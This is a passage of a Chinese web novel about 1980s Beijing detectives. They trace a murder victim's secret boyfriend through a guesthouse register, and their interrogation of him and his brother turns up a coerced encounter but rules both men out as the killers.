就算这里有公交车可以坐,但是车难等,四个小时的时间,是走不远的,只能在附近活动。 楚隽道:“大家就已这条路为起点,拿着盛寻雪的照片去查一下。重点是饭店,招待所,小商店。” 四个小时,不是路上四个小时,这包括了盛寻雪和男朋友约会的时间。 总不能路上三个小时,约会一个小时。这么浪费时间的行程,不符合盛寻雪这 样常年在外面跑销售的人,从她之前的工作笔记上的安排就能看得出来,她是一个会规划时间和路线的人。 楚隽和安暖一路,拿着盛寻雪的照片,走一条路。 盛寻雪和男朋友,是要吃中饭的。 所以他们可能中午会出现在某个饭店里。 然后,如果男女朋友见面,想要做点什么,光天化日的,肯定要找个招待所。 住正规招待所,是要登记身份信息的。但是也有一些私人开的小旅馆,会睁一只眼闭一只眼,只要给钱,什么都好说。 不过这种私人小旅馆,不太容易说真话。 为了免得麻烦,就算是警察问到了,也未必会说真话。 两人一路问过去。 特别是小饭店。 可惜,没有一家饭店的老板,能回忆出见过盛寻雪。 而且时间有些久远了,当天没有特别的事情发生,也回忆不出什么了。 眼见着到了中午,楚隽说:“我们找家饭店吃饭,然后问一问周边的招待所。” 那种私人的,可以不必正规登记的招待所,往往只有对附近熟悉的人才能找到。他们往往没有特别明显的招牌,藏在小巷子里。 小饭店,店里就老板两口子,一个炒菜,一个在上菜擦桌子。 进了店,老板娘拿来菜单。 楚隽自然地接了过来,然后把菜单递给安暖。 第111章 开房记录 “看看想吃什么。免费看书就搜:二次元小说网 ”楚隽说:“你点菜,我去和老板聊聊。” 楚隽从兜里拿出烟,起身走了过去。 烟这个东西,楚隽不太抽,但是一般会随身带,有很多时候,是可以拉进人和人之间的关系的。 男人和男人,递一根烟,好说话。 楚隽的烟好,老板平时是舍不得买的,看见以后呦一声,接了过去。 安暖点菜这功夫,两人就站在厨房门口聊了起来。 聊了一会儿,楚隽回来了。 安暖也点好了菜。 两个人,点多了浪费,两菜一汤,刚刚好。 老板动作很快,饭菜很快就上了桌。 一边吃,安暖一边问:“怎么样,问了吗?” “嗯,老板是本地人,对附近可熟悉了。说确实是知道有一家私人旅馆,登记得没有那么严格……就在前面不远的地方。他经常路过,偶尔会看见有男男女女的进去。有些可能是不那么正经的关系。” 正经的关系,男女朋友之间,也不会开一间房。 何况又是大白天。 白天,年轻男女,开一个房间进去待几个小时。叫人不多想都不行。 吃了饭,两人按着饭店老板说的方向,兜兜转转,找到一家藏在巷子里的招待所。 真是酒香不怕巷子深。 招待所的照片上,漆都掉了不少,看起来破破烂烂的。 两人进了店。 老板正在柜台后面坐着打盹。 这种店,估计白天没什么客人,上客高峰期是傍晚那一会儿。 楚隽敲了敲门。 老板睁开眼睛。 “住点吗?” “住。”楚隽说:“但是没带证件,行吗?” “没证件啊……”老板一皱眉:“没证件可不好办。” 看着楚隽和安暖,一男一女,楚隽搂着安暖,显然就是一对小情侣。 这个年代,不是情侣也不兴这么搂,乱搞男女关系,是要被戳脊梁骨的。 “通融一下。”楚隽说:“就休息一会儿,两三个小时就行。” 这个年代还没有明确的钟点房的概念,但是有需求,就有市场。 老板也没多想:“行吧,那贵点啊。” 楚隽笑了笑,没有问贵多少,而是问:“你这店里,是不是没有证件都能住?” 老板脸色一变:“你这什么意思?” “没什么意思,随便问问。”楚隽掏出证件:“我不住宿,也不找麻烦,其实我想打听一个人。” 老板一看楚隽的证件,脸色更难看了。 “这,楚同志,误会了误会了,刚才是我没说清楚,其实咱们这里……” 楚隽抬了抬手,让老板别说了。 “我说了,我不是来查你经营不规范的,我就是想打听一个人。” 楚隽拿出盛寻雪的照片:“你看看,最近有没有见过这个人?” 盛寻雪想要掩饰这个神秘的男朋友,因此跑了这么远,但大夏天的,总不能到哪里都把脸捂的那么严实,那反而更会让人好奇,说不定以为她身份有什么问题,反手就给举报了呢。 老板十分郁闷,只好接了照片看。 一看,老板说:“这女人我见过。” 竟然说的如此顺滑。 两人心里一喜,听起来,不是见过一面那么粗糙,如果只是见过一面,那一定发生了一件让老板记忆犹新的事情。 “她什么时候来过?”楚隽立刻道:“一个人来的,还是跟什么人一起来的?来过几次?” 老板想了想:“这个月没有来过,但是上个月,来过好几次。大概有……三四次吧。等下啊,我找一下记录。” 虽然这家招待所不规范,不用实名登记,但也是要登记的。 就像是之前楚隽出门,一般登记的都不是本名和正经的身份。 出门在外,身份是自己给的。 老板找出记录本,往前哗啦啦地翻着,翻了好几页,说:“有了。” 他把登记本拿过来,指着其中一条:“同志你看,这一条,这个叫周寻芳的,就是照片上的这个姑娘。” “你能肯定?” “能,我印象深刻。” “为什么?” 老板突然支支吾吾起来,脸上表情颇为尴尬。 “怎么了?”楚隽道:“为什么印象深刻?” 周寻芳登记的名字下面,还有一个名字,叫冯梓。 冯梓的名字旁,没有房间号,也就是说,他们俩开的是同一个房间。 老板尴尬了一下,说:“是这样的,这个女人,她每次来,都是和一个男人一起。就是这个男人,叫冯梓,我也不知道是真名假名,反正登记的就是这个名字。” 往前翻,就在这一个月里,周寻芳的名字登记了四回。 难怪老板印象深刻。 “我这里常客其实挺多的,我对她印象深刻是因为 ……”老板捂着嘴,装模作样咳了两声:“因为有一次,他们进了房间之后,我从外面路过,听着里面的声音……有点大。” 安暖顿时就听明白了。 “那女人看起来正经的很,衣服穿的也不是暴露风尘的,不过没想到啊,大半天跟男朋友住招待所,还挺……那啥。” 楚隽和安暖对视了一眼。 所以他们之前的推断是正确的。 这个冯梓,就是盛寻雪隐藏的男朋友。 “这个冯梓,是个什么样的人?”楚隽问:“年纪,长相,穿着打扮,你看他们俩之间的交流,是一个什么样的关系。” “年轻人,也就是二十来岁吧。”老板回忆了一下:“谈不上多俊,不过五官端正,没什么大毛病。有那么高……” 老板比划了一下。 “看起来身体不错,我估计是个干体力活儿的,文化程度不高。你看他登记写的名字,字很难看。拿笔的姿势也不熟练。穿着就挺普通的,很一般,就路上随便拽一个的那种。有一次,我还看见他袖子上有补丁,而且……” 老板强调:“每次都是那个女的付钱的,男的就没付过钱。” 所以,盛寻雪找了一个条件非常差的男朋友?知道家里绝对不会同意,所以一直藏着掖着? 安暖一页一页翻着登记本。 将盛寻雪来过的四次住宿的时间,都抄了下来。 正在抄着,突然有点奇怪。 第112章 两个名字 “怎么了?”楚隽凑了过去。 “你看这个……” 盛寻雪在上一个月,一共来了四次。 八月五号,八月九号,八月十三,八月二十号。 八月五号和八月九号的登记记录安暖已经抄录了下来,暂时看不出有什么异样。 但是在后面两次,八月十三和八月二十号的记录里,当天的登记记录,分别有另外一条。 安暖指了八月十三日上面一条登记为裘正豪的记录,又翻到八月二十号的记录,上面有一条记录,登记的名字是于睿。 一条记录在盛寻雪他们住进招待所后五分钟,另一条记录,在盛寻雪住进招待所后五分钟。 乍一看好像毫不相关。 但是安暖说:“老板,你想想看,这两个人你还有印象吗?” 很可惜,老板看了看,又想了想,实在想不起来。 “没有印象了。”老板说:“这个人应该没有什么特别的,所以我记不住了。” 上个月的事情,来来去去这么多人,老板确实不记得了。 “楚队你看,这两个记录虽然名字不一样,但是字迹有点像,这两个名字里的一撇,往上提的时候都勾的角度是一样的。” 楚隽很意外:“你还会笔迹检定呢?” “嗯,会一点。”安暖也不谦虚:“但我说的不算,还要找专业的鉴定一下。” 楚隽细细看了一下:“我虽然不是专业的笔迹鉴定师,但我觉得你看的没错,这两个签名的笔迹确实有相似的地方。在同一天,同一个人出现了两次,也确实有些可疑。” 虽然暂时看不出留下这笔迹的人和事情有什么关系,但每一个疑点都不能忽视。 楚隽收走了老板的登记本,准备拿回去,给专业人员做笔迹鉴定。 “好好好,行行行。” 老板双手将登记本奉上。 他也看出来了,楚隽和偶尔过来检查的片警儿不一样,他说不定真的不会管他做生意的这些小事情。万一呢,虽然不知道楚隽他们到底是来查什么的,但至少没盯着不实名登记这点事儿。 楚隽说:“你也跟我走一趟。” “啊?” 老板瑟瑟发抖。 “放心吧,不是查你那点事儿。”楚隽说:“跟我回警局,我叫人给你做一个拼图。你好好想想那个男人长得什么样子,他现在牵扯到一桩谋杀案,我们要尽快找到这个人。” 一说谋杀案,老板顿时就腿软了。 “好好好,我去,我去。” 牵扯上人命了,老板现在对自己的招待所能不能开下去已经不太在意了,只要别牵扯上自己就行。 上了车,老板几次欲言又止。 楚隽看着他怪作孽的:“你想问什么?” 老板小心翼翼的道:“我想问问,是谁,谁死了?” “就是给你看照片的这个女人。” 老板只觉得心里一阵凉意。 “她,她怎么死的?” 车里一阵沉默。 开出去一段路,楚隽说:“你不会想知道的。” 这回答好像很体贴,但是老板一脸崩溃的表情,也不知道脑补了什么。 但是不管怎么说,还是别告诉他细节比较好。他再怎么脑补,应该也没有现实更可怕。 回了警局,楚隽一边将笔迹送去鉴定,一边叫人给招待所老板做拼图。 只要能把这个人的脸弄出来,就能知道盛寻雪的男朋友是什么人。 安暖站在会议室的大黑板边,抱着胳膊说:“楚队,我觉得这个男人,这一个月的时间,就在那一片活动。可以去排查一下周边的单位,或者有什么施工队伍之类的。” 做体力活儿的男人,二十来岁,有力气,穿得很粗糙,这个人物形象刻画出来,就是一个出卖体力劳动,文化程度不高的男性。 安暖道:“根据家里和单位里的同事的猜测,盛寻雪交男朋友不是这个月的事情。但只有在这个月,她频繁的出现在那家招待所。” 两个人约会见面,总要挑一个方便的地方。 要么对两个人都方便,要么,对其中一个人方便。 盛寻雪的职业时间比较自由,所以由她来迁就冯梓,也是合理的。 在此之前,他们不是不见面,但是在别的地方。 “嗯。”楚隽道:“等冯梓的人像拼图出来,就让人去周边查。” 安暖有一种,终于这案子要有眉目,看见曙光的感觉。 人脸拼图不是那么简单的事情,除非是专业的,普通人描述一个人,是很困难的。 见过是见过,认识是认识,但想要描述出来可没有那么简单。 鼻子高了矮了,眼睛大了小了,头发是什么样子,眉毛是什么样子,老板脑袋都要抓破了,只觉得一个头八个大。 安暖正打算说话,楚隽办公室的电话又响了。 楚隽接了起来。 有些意外,是一早打过电话来的庄致轩。 “您好 ,麻烦我想找一下安暖。” 庄致轩只知道这个电话是联系安暖的电话,应该是一个工作单位的号码,但确实没想过这是刑警队长办公室的电话。 “稍等。”楚隽说:“暖暖,你的电话。” 安暖一脸懵的接了电话。 “小庄哥?” “对,是我。”庄致轩说:“不好意思啊,我临时接到消息,明天要出差一趟,大概要一周时间。我也不知道你什么时候来拿书,就想跟你说一声。我把书放在宿管阿姨那边,打了招呼,你直接去拿,报我的名字就行。” 安暖本想应着,但转念一想。 “我今天去拿,方便吗?” 她也没去过庄致轩的学校,更不认识宿管阿姨,还是当面和庄致轩拿比较好。 从这里去学校,开车来回不用两个小时,跑一趟也行。 “当然方便。”庄致轩说:“你要是现在来最好,我亲手给你,有些地方还能给你说一下。电话里可能说不清楚。” “你稍等一下。”安暖抬头问楚隽:“我想现在去一趟清大,去拿点东西就回来。要是早,我就回警局。要是晚,我就直接回家。” 已经四点多了,一来一回,六点七点左右。 这个时间卡的很尴尬,就是不知道警局晚上要忙到什么时候。 现在都在等人像拼图,等到拼图出来,就要进行下一步计划。这个后续大家都不可猜测,所以必须等着,楚隽不能走开。 人像出来之后,如果这个人在他们之前的嫌疑人名单上,就要连夜进行抓捕了。 “好。”楚隽说:“那你小心一点,如果有什么事情,就给我打电话。” 天还亮着,去一趟清大,楚隽也不至于出什么事情。 安暖虽然来京市的时间不长,但也不是温室里的花,不至于不跟着不能出门。 第113章 抓回一个 安暖匆忙走了,临走的时候,楚隽给了她一张市区地图。 安暖看着地图叹了一口气。 这个年代没有导航确实是一件很麻烦的事情。好在她方向感很强,只要有一个方向,有路牌,偶尔再问一下路,问题也不大。 只要找去了,回来就不是问题了。 安暖出了门,开上车,去了清大。 站在清大门口,安暖着实感慨了一下。 羡慕,嫉妒,恨。 不管穿越还是重生,就是活了两辈子,不行就是不行。 安暖半路就给庄致轩打了电话,刚到停下车下了车,只来得及感慨了一句,就听见了他的声音。 “小安。” 安暖一回头,就看见庄致轩站在路边,身旁放着用绳子捆着的两摞子书。 看见庄致轩,庄致轩就一手拎起一摞子书,走了过来。 安暖连忙迎过去,打算接过一摞子书,但是被庄致轩躲开了。 “重,我来。”庄致轩一口气将书拿到了车边。 安暖连忙打开了后座的门。 庄致轩将书放了进去,然后拿出一张清单。 不得不说,庄致轩做事情是仔细的。 “我列了一个单子。”庄致轩说:“你看一下,这里有初中三年的课本,你说要学理科,一共是七门。还有一些是练习题和试卷,还有……两本字典,都是日常用得上的。” 安暖看着清单,连连点头。 庄致轩这么仔细,她真的很感动。 庄致轩不但准备了书,还准备了各种资料,安暖翻了一下,确实都是旧的。要知道,旧的可比新的好,旧的书上有笔迹,能看出来,他借书的也是个学霸,笔迹字迹隽秀,详尽详实。 庄致轩有些担心:“你只上了五年级,初一的课本,我也不知道你能不能看懂。我这就要出门,你先看着,要是看不懂的话,等我回来,我可以给你补课。” 顿了顿,庄致轩说:“我知道你着急想拿文凭,但学习不是一天两天的事情,总要有一个过程。特别是你底子稍微薄一点,要戒骄戒躁,持久坚持才好。” 庄致轩说话还是很含蓄的,特别给安暖面子。 什么底子稍微薄一点,那不是薄一点,是特别特别的薄。 “好的,我知道了。谢谢你。”安暖说:“你帮我找这些书也不容易,我不能白拿你的。小庄哥,我给你点钱,你帮我买点东西给借书的朋友,你看行不行?” 安暖觉得自己这话说的挺好的。 她要是说给庄致轩钱,庄致轩肯定是不会要的,这样说的话,含蓄一点。 可惜还是被庄致轩严词拒绝了。 “不需要,大家都是帮来帮去的,谈钱伤感情了。”庄致轩坚决地说:“小安,咱们俩从小就认识,又在京市重逢,他乡遇故知,我真的很高兴。你真的不用和我客气,只要能帮忙的,我一定会尽心的。” 庄致轩这么一说,安暖也不好再说什么了。 “那行,那我就不跟你客气了。”安暖说:“我暂时没有离开京市的打算。至少这本年没有,如果你有什么事情,打电话找我。” “好。” “那……等你回来,我请你吃饭。” 这下庄致轩答应了:“行,那等我回来,请我吃饭。” 安暖又再谢了,看着庄致轩进了学校,这才上车离开。 车缓缓开走。 庄致轩是和同事一起来的,刚才和安暖说话的时候,同事就在一边等着。 同事走了过来,打趣道:“女朋友啊?” “不是,是老乡。”庄致轩停下脚步,转身往外看。 能看见安暖的车缓缓消失在路的尽头。 “你老乡干什么工作的?我瞅着是个年轻姑娘,这么有钱?能开的起那么好的车?”同事啧啧道:“她开的那车,咱们学校也没有几辆吧。还有她身上穿的衣服,戴的表,都价值不菲啊。” 庄致轩笑了笑。 “这种姑娘啊,咱们可养不起。”同事拍了拍庄致轩的肩膀:“走吧,别看了。” 安暖来的时候还要找找路,问问路,回的时候就熟门熟路了。 六点半,回到了警局。 楚隽不在。 安暖心道大意了,早知道就打个电话问一下了。不过楚隽估计不是回家了。 楚隽知道她这一趟也就是两个多小时,如果是回家,肯定不会先走,肯定会在办公室等她,不会让她空跑一趟。 安暖一想,精神一振。 一定是招待所老板提供的消息有了用处,他见过和盛寻雪一起的那个男人,将画像给拼了出来。 他们最近筛查了香山周边不少人,只要见过查过,都能记住长相,万一有对上的呢?那就能直接去抓人了。 安暖去找隔壁办公室问了一下,果然,刑警队出任务去了。 想了想,安暖将书都带去了楚隽的办公室。 就目前的情况看,她大部分时间都是在警局的,晚上回去之后的时间 就相当有限了。 周六周日如果休息,难免还要和楚隽出去转转,约个会什么的,真学习,还是得上班时间靠谱。刑警队也不是日日都在外面跑的。何况她现在又不是刑警队的人,更不可能日日在外面跑。 安暖开始看初一的书。 虽然这个年代的书和她当时上学时完全不同,但知识共通的,对安暖来说,都是很浅的知识。 安暖信心大增。 索性直接找了张卷子做了起来。 庄致轩今天走得着急,也没说学校的事情,她也没有想起来问。但不管怎么说,自己得先有信心,先测试测试再说。 免得不管找了谁的关系找了学校,现场那么一考,十五分,就丢脸丢大了。 安暖咬着铅笔想。 她在楚隽面前立的可是天才人设,人设万万不能崩。 安暖就这么一张卷子,又一张卷子,又一张卷子……从七点,一直到十一点,楚隽终于回来了。 不是一个人回来的,刑警队的人都回来了,兴高采烈的,还抓了一个人。 安暖开着办公室的门,众人一进来就看见了。 大概是太兴奋了,卢瑞泽一进来看见安暖便道:“小安还在这呢?” 第114章 天上掉下来一个女朋友 “在呢。”安暖连忙站起来:“卢哥,你们回来啦。”“回来了,可算逮着这小子了。”卢瑞泽随便那么一看,被楚隽桌上的书和卷子惊呆了:“小安你这是在干嘛?做卷子?”“哦,对。”安暖合上书:“我文化程度太低了,想要上学考文凭。所以找朋友借了点书,提前适应一下,做几张卷子。”楚隽也走了进来。晚上冷,穿了外套出去,这会儿跑累了,边将外套搭在手臂上。楚隽顺手将外套仍在沙发上,看了一眼安暖做的卷子。这是一张初一的数学卷子。安暖的字谈不上多好看,但是笔迹端正清晰,几乎没有错字,一笔一划,规规矩矩。楚隽本只是随便一看,但这一看,十分吃惊。一眼扫过去,卷子做满了。翻过来看一眼大题,竟然有一题算一题,都是对的。虽然这只是初一的试卷,但安暖只有五年级的文化程度啊。“这都是你做的?”“对呀。”“不错啊,这些你都会?”安暖挑了挑眉。我的天才人设呢,给我端上来。“也不是全会,但我可以学。我的学习能力是很强的。”安暖赶紧转移话题:“不说我了,你们抓着人啦?是什么人?”楚隽递给安暖一张画像。“这就是根据招待所老板口述,还原出来的盛寻雪男朋友的样子。你看看这是谁?”安暖一看:“这不是我们那天去查的那兄弟俩吗?叫……叫酆邦辉?”“对,就是他。”楚隽说:“画像一出来,我立刻就认出来了。盛寻雪的男朋友,就是酆家的弟弟酆邦辉。也已经核对过了,就在这一个月里,酆邦辉在这附近的一家工厂打工,时间也对得上。”楚隽做事就是这么雷厉风行。这边人像一出来,立刻打电话过去,让那边同时进行抓捕。兄弟两个人都在家,抓了个正着。安暖道:“所以兄弟俩都被带回来了?”“对。”楚隽吩咐手下:“安排一下招待所老板去认人。”“还有字迹。”安暖连忙道:“招待所的记录本上,两个虽然不一样但是字体一样的名字,核对一下是否和酆耀杰对的上。”“知道了,放心吧。”楚隽说:“我记得。”人刚抓来,要审,今天晚上怕是要熬夜通宵了。楚隽安排了一下,让住的远的留两个下来加班,住得近的回去休息。明天加班的回去休息,其他人正常上班。手下是可持续发展的资源,不能一次都累死了。安排完了,去审酆邦辉。安暖也跟着去了。招待所老板还在警局里,第一时间去认了人。“就是他没错,这个人我认识。”老板一眼就认出了酆邦辉:“这个就是和那个女人一起住店的男人。”“另一个呢。”楚隽说:“再看看,另一个男人,有没有印象。”另一个酆耀杰,老板认得就比较费劲了。他看了半天,琢磨了半天。“应该是,虽然我没太注意,可他毕竟来过两回,距离时间又不远,我还是有印象的。”老板再三思考后,还是认为酆耀杰就是另一个人。两个人分别在两个房间里。安暖跟着楚隽去审盛寻雪的男朋友酆邦辉。酆邦辉还挺镇定的,坐在椅子上,还是一副有点颓废,要死不活的样子。楚隽将盛寻雪的照片丢在酆邦辉面前。“看看认识不认识这个人。”酆邦辉拿起来看了几眼:“认识,这是我之前的女朋友,叫周寻芳。”楚隽微微皱眉:“你说她叫周寻芳?”“对啊,周寻芳,不就是这个照片上的女人吗?有什么不对吗?”“没事儿,你接着说。你把你们俩的事情,仔细的说给我听听。”酆邦辉有些不明白:“从什么时候开始说。”“从你们认识开始,一点点地说。”酆邦辉只好从头说。其实也很简单。酆邦辉说:“我们俩认识了半年,谈对象半年。”“所以你们是一认识,就处对象了?”“对啊。”楚隽道:“你们怎么开始的?”“我们俩是在工地上认识的,半年前的一天,我在村里一户人家田里打工,她是来跑销售的,我们就聊了几句。聊完之后,她就说想请我吃饭,然后就说看上我了。”简直是天上掉下来一个大媳妇。比楚隽的未婚妻来得还要爽快。酆邦辉说:“我们俩就在一起了。但是我们住得远,不能天天在一起,所以有空才会见面。”“你们一般在哪里见面?”“没有固定的,看哪里方便,就在哪里见面。一般都在私人招待所。”“每次见面,做什么?”酆邦辉一下子尴尬起来。“就,就,就那啥。那男女朋友见面,能干啥,同志你懂得。”楚隽面无表情,虽然我懂,但还是需要你说。“按你的说法,你们也谈了半年了,年龄也都不小,为什么没有考虑结婚?你没想过去拜访他父母吗?也没有带她回过家?”“我想啊,但是她不同意。”酆邦辉说:“她说,我们认识的时间还短,暂时不想谈婚论嫁。而且她爸妈一直想给她找一个工作稳定的对象,所以暂时,她爸妈是不会接受我的。要我再等一等,她再慢慢的劝一劝她爸妈,等她爸妈松口之后,再带我去见他们。”听起来,倒是和合情合理。“然后呢?”“然后就……我们就一直保持来往。虽然我是想跟她结婚,但是她不愿意,我也没办法。”楚隽道:“她不愿意结婚,你有怨言吗?有没有因此闹过矛盾?”“多少有一点,但是也没有太大的怨言。”酆邦辉还真是实在:“我跟她处对象不吃亏。她年轻又好看,又主动热情,而且,我们俩在外面,都是她花钱比较多。就是不着急结婚,那也没什么。”酆邦辉说的倒是很实在,虽然有点吃软饭占便宜的嫌疑,但事实就是如此。对一个单身汉来说,又没有什么伦理心里上的负担,有这么个女朋友,哪怕不结婚,也是不睡白不睡,睡了也白睡。《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第115章 玩儿的花 酆邦辉说完,一时间到时没有什么破绽。楚隽道:“上个月二十号,你是不是和盛寻雪去过招待所。”“大,大概是吧。”酆邦辉说:“我也不记得具体日子,上个月反正是去过好几回。”“因为你在附近工作。”“对。”“那你哥哥呢?”楚隽拿来登记本:“据我们调查,你哥哥当时可不在附近工作,为什么他也会同时出现在这家招待所里?而且,每一次,还用了不同的名字登记,是想做什么?”酆邦辉脸色未变。“你说什么,我不知道你说的是什么意思。我哥哥在哪里,我怎么知道?”“你觉得你这么说,我们会相信吗?”楚隽道:“酆邦辉,你不会不知道自己现在在什么地方吧?在这里,说谎罪加一等,是要坐牢,是要吃枪子儿的。”安暖一直坐在一边听,觉得楚隽稍微有点恐吓的意思。楚隽一身正气,酆邦辉有点坐不住了:“同志,不是,警察同志。周寻芳是出什么事情了吗?为什么要问这个?”安暖看酆邦辉的表情。半个小时之前,她觉得已经找到凶手了,但现在这个念头开始动摇了。看酆邦辉的表情,好像真的不知情。而且,他甚至可能不知道盛寻芳的真实身份,他一直叫她周寻芳,叫的非常自然。“你不必管这个。”楚隽道:“请你如实回答,在你和周寻芳约会的招待所,为什么你哥哥会同时出现。而且,两次都在?你知道吗……”楚隽声音放缓。“酆耀杰住进房间之后,老板正好上去送蚊香,没有敲开他的房门。”酆邦辉支吾道:“那可能是我哥睡着了吧。”“是吗?呵呵。”楚隽道:“老板下楼的时候,路过你的房间,在房间门口,却听见了你们房间里的声音……包括,你哥哥的声音。”安暖撩起眼皮,看了楚隽一眼。楚隽这是连哄带骗啊。老板确实说过,他在酆邦辉房间门口听见了挺大的声音。但是具体详细的问了,只是男女暧昧的声音,无法分辨其他。但是酆邦辉不知道啊。人在激情的时候,很难控制自己的行为,包括声音。老板和他们不熟,是不可能从一些含糊的声音里分辨出谁对谁的,但是酆邦辉做贼心虚,就是另一回事了。“酆邦辉,我劝你实话实说。你哥哥就在隔壁,你说的要是和他对不上,可是会露馅的”楚隽道:“乱搞男女关系,这事儿可大可小。全看我愿意不愿意追究。目前呢,这事儿不归我管,你要是配合的好,我可以睁一只眼闭一只眼。你要是不配合,浪费我的时间,那就不好说了。”酆邦辉脸色一阵青一阵白的。知情人不知一个,分开审,这是最可怕的。一个人还能咬死不放,嘴硬到底。一旦有了同伙,谁能把身家性命压在别人身上呢?“好吧,我说,我说。”酆邦辉坚持了不到一分钟,就垂头丧气道:“这事情,确实是我们不应该。”跟安暖之前推测的差不多。虽然荒唐,也触犯了法律,但和案子关系不大。盛寻雪是一个追求男女之欢的人,甚至有些上瘾的意思。据酆邦辉说,当然难免有些自吹自擂的意思,他被一眼看中的原因,就是盛寻雪觉得他身体好,够勇猛。“这不是我说的,是她自己说的。”酆邦辉还再三解释,越盖弥章:“开始的时候,我们在一起挺好的。但是后来,我感觉她有点不满意。有一次,她跟我说起……”酆邦辉说着,说着,声音越来越小,越来越小,小心翼翼的看了一眼安暖。安暖面无表情。酆邦辉说:“能不能让这位女同志出去一下,她在这里,我实在说不出口。”安暖真想翻一个白眼。又不是纯情的人,这会儿还搞起不好意思来了。要是在以前,安暖是绝对不会理会的。没听说过审嫌疑人还要男女避嫌的。但这是在八十年代,而且,她也不是正规人员,还是主动一些的好。安暖站起身:“楚队,我先出去一下。”楚隽点了点头。酆邦辉下面要说的事情可能比较炸裂,让安暖在现场听,可能也不太好。一个没结过婚的大姑娘,总难免在男女之事上,要害羞一些。安暖出了门,看着一片漆黑的夜,开始想,今天晚上怎么办?她有一种预感。按照现在的情况看,酆邦辉兄弟可能不是凶手。凶手另有其人。这样的话,今晚也不必折腾一夜,审问结束大概也就是三点钟。这个时间,上不上,下不下。要是开车回家,那要四点了,睡不了多久就要起床。就在单位过夜,也不方便。宿舍肯定有,但是她连换洗的衣服都没有。哎……胡思乱想了一会儿,楚隽从屋子里出来了。安暖连忙迎了上去:“怎么样?”这章没有结束,请点击下一页继续阅读!《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。“都说了。”楚隽可能觉得这事情当面说有些尴尬,将询问记录递给安暖,让她自己看。安暖看了一下,跟她想的差不多。盛寻雪这个人,在这方面有些需求旺盛,喜欢寻找刺激。开始对酆邦辉还挺满意,但交往一段时间之后,就觉得有些腻了,索然无味。一次聊天说,盛寻雪说起,看过一些外国杂志,上面有一些多人情节。酆邦辉开始吓了一跳,但是后来,就想到了他哥哥酆耀杰。这个时候,对酆邦辉来说,盛寻雪已经不是一个结婚对象,而是一个解决生理需求的对象。盛寻雪说的话,他也觉得有点刺激。跃跃欲试。这就有了第三次的约会中,酆耀杰的出现。但这毕竟不是能见光的事情,有违伦理道德,所以酆耀杰出现在招待所的时候,特别遮掩的自己开了一间房,用了假名字。其实几乎是碰不见熟人的,但他还是心虚。开完房间之后,他没有去自己的房间,而是进了盛寻雪和酆邦辉的房间。但那一次并不愉快。至少对盛寻雪来说并不愉快,所以她拒绝了第二次同样的事情。但是对酆邦辉兄弟来说,是完全不一样的体验,食髓知味,欲罢不能。于是在八月二十号,酆耀杰又出现在招待所。只是这一次,盛寻雪拒绝了,只是没能拒绝上了头的两兄弟,反而被弄伤了。也就有了她坐车回家,在公交站体力不支,买药被发现的一幕。《八零警花娇又飒,高冷队长心慌了》无错的章节将持续在小说网更新,站内无任何广告,还请大家收藏和推荐!喜欢八零警花娇又飒,高冷队长心慌了请大家收藏:八零警花娇又飒,高冷队长心慌了更新速度全网最快。 第116章 一身都是他 楚隽有些疲惫地捏了捏眉心。“两个人都问了,回答得基本一致。”楚隽说:“虽然说是处对象,但盛寻雪根本没把酆邦辉当成自己的男朋友,连名字都是假的。而且,要求保密。可以说,在这一段关系里,盛寻雪只是把酆邦辉当成一个……床伴。”合则聚,不合则分。安暖道:“那,分手是盛寻雪提的,酆邦辉兄弟俩有没有恼羞成怒,有没有因爱生恨?”“没有,因为他们不吃亏。”楚隽说:“来往这半年,酆邦辉除了开始付出一点感情,其他什么也没有,最后的一次,更是心里有鬼的。所以他们对盛寻雪没有恨,反而有一种逃避的心理。而且,他们每一次见面,都是直奔主题。没有桃花树下那些爱恨情仇。”将恋人分尸,挂在桃花树上,这是什么样炽烈扭曲的爱恨。绝对不是这么淡然的。安暖叹了口气。“这样啊,那这条线索,就断了。白忙活一通。”安暖看了看天色:“现在怎么办?”实在是有点晚了。现在已经两点了。回去一个小时,再洗漱,睡不了一会儿了。楚隽说:“早点休息吧,明天开会,大家重新理一下思路。”费劲九牛二虎之力抓住嫌疑人,然后一审,发现不是。这是常有的事情,楚隽已经习惯了,安暖也挺习惯。虽然郁闷,但这是难免。哪有那么精准,抓一个对一个的?楚隽让大家都回去,抓紧时间还能睡会儿,自己也拿了包:“我们也走吧。”安暖连忙跟上。上了车,系好安全带,不忘问:“我们现在去哪儿?回家吗?”“不回家,时间太长了,回去休息不了两个小时。”“那我们去哪儿,就近找个招待所吗?”不是不行,但是没有换洗衣服。安暖琢磨着,应该要带一套衣服放在楚隽办公室里的。现在虽然是九月了,可白天温度还是挺高的,又跑来跑去的,如果晚上不洗澡换衣服,还是不舒服。其实这个年代的人,对每天洗澡换衣服是没有执念的。因为不方便。但安暖不行,习惯了每天晚上洗澡换衣服再睡觉,一天不洗,总是觉得自己不干净了。“不用找招待所。”楚隽说:“招待所没有换洗衣服。”不回家,也不去招待所?安暖正奇怪呢,楚隽接着说:“我在附近有个房子。”“啊?在哪儿?”“很近,五分钟的车程。”安暖好奇了:“你在附近有房子,为什么,是为了工作买的吗?”“算是吧。”万恶的有钱人,安暖在心里愤怒。“你在单位附近有房子,也没听你提过啊。你还每天开车那么长时间回老宅?”楚隽解释说:“这有什么奇怪的,我哥不是也有其他的房子吗?不过因为爷爷在家,所以我尽量回家,可以多陪陪他老人家。这边的房子有人固定打扫,我要是加班太晚,懒得来回跑了,就会过去。”“真好。”安暖由衷地说:“真好。”楚隽笑了一下。是挺好的。楚隽的房子果然离得很近,开车几分钟就到了,车进了小区,上了楼。这是个套间,三室一厅。楚隽开门进去,开了灯。里面装修得简洁大气,确实是楚隽的风格。楚隽打开一个房间的门:“这是主卧,今晚你就住这里。里面有洗澡间,沐浴露洗发水什么都有。”安暖探头看了看。“你这不是有好几个房间吗,主卧是你住的,我住客卧就行。”安暖说着,往外走。楚隽一把抓住她。“你就睡这里。”楚隽说:“我睡隔壁。”“不用……”安暖还没说完,就被楚隽打断